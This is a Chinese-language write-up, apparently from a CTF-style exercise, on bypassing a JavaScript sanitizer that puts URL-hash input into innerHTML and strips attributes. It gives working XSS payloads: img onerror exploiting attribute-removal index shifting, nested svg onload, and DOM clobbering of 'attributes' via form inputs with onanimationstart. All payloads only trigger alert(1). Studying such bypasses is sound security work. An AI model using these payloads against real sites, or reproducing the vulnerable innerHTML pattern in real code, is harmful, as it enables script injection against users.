目录
错误的编码方式下的绕过
const data = decodeURIComponent(location.hash.substr(1))
root.innerHTML = data
//遍历root所有子元素,然后删除他们所有属性
for(let el of root.querySelectorAll('*')){
for (let attr of el.attributes) {
el.removeAttribute(attr.name);
}
}
上述代码中删除属性时都是在同一个数组中操作,当你删除一个属性后,后面的属性会往前推一个。[a,b,c]当删除a元素后b元素往前推一个成这个样子了[b,c],但是要删除的还是1这个位置的元素,然后就把c删除了,但是b还是保留了下来,所以我们只需要在数组双数的位置进行注入就可以了
绕过例子
file:///D:/%E6%A1%8C%E9%9D%A2/code/01.html/test.html#%3Cimg%20aaa=%222%22%20src=%221%22%20df=%22123%22%20onerror=%22alert(1)%22%3E
修改后的代码的绕过
const data = decodeURIComponent(location.hash.substr(1))
root.innerHTML = data
//遍历root所有子元素,然后删除他们所有属性
for(let el of root.querySelectorAll('*')){
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs){
el.removeAttribute(name);
}
}
payload构造
可以用下面代码,下面代码在删除前就会被执行
<svg><svg onload=alert(1)>
dom破坏解法
这个是借助下面这个特性
下面div有一个名为a的属性,然后获取这个属性,div下面又有两个标签id为img,获取id的a属性就会获取两个img标签
现在借助这个特性构造payload
file:///D:/%E6%A1%8C%E9%9D%A2/code/01.html/test.html#%3Cstyle%3E@keyframes%20x{}%3C/style%3E%3Cform%20style=%22animation-name:x%22%20onanimationstart=%22alert(1)%22%3E%3Cinput%20id=attributes%3E%3Cinput%20id=attributes%3E
上面payload中form有两个属性用来触发XSS,然后在这个道题中我们是用el.attrlbutes取值的时候,发现form下面有两个<input id=attribute>标签,然后就把这两个标签取出来了,然后就饶过了form用来xss注入的两个标签完成了注入,form的attribute就是两个input标签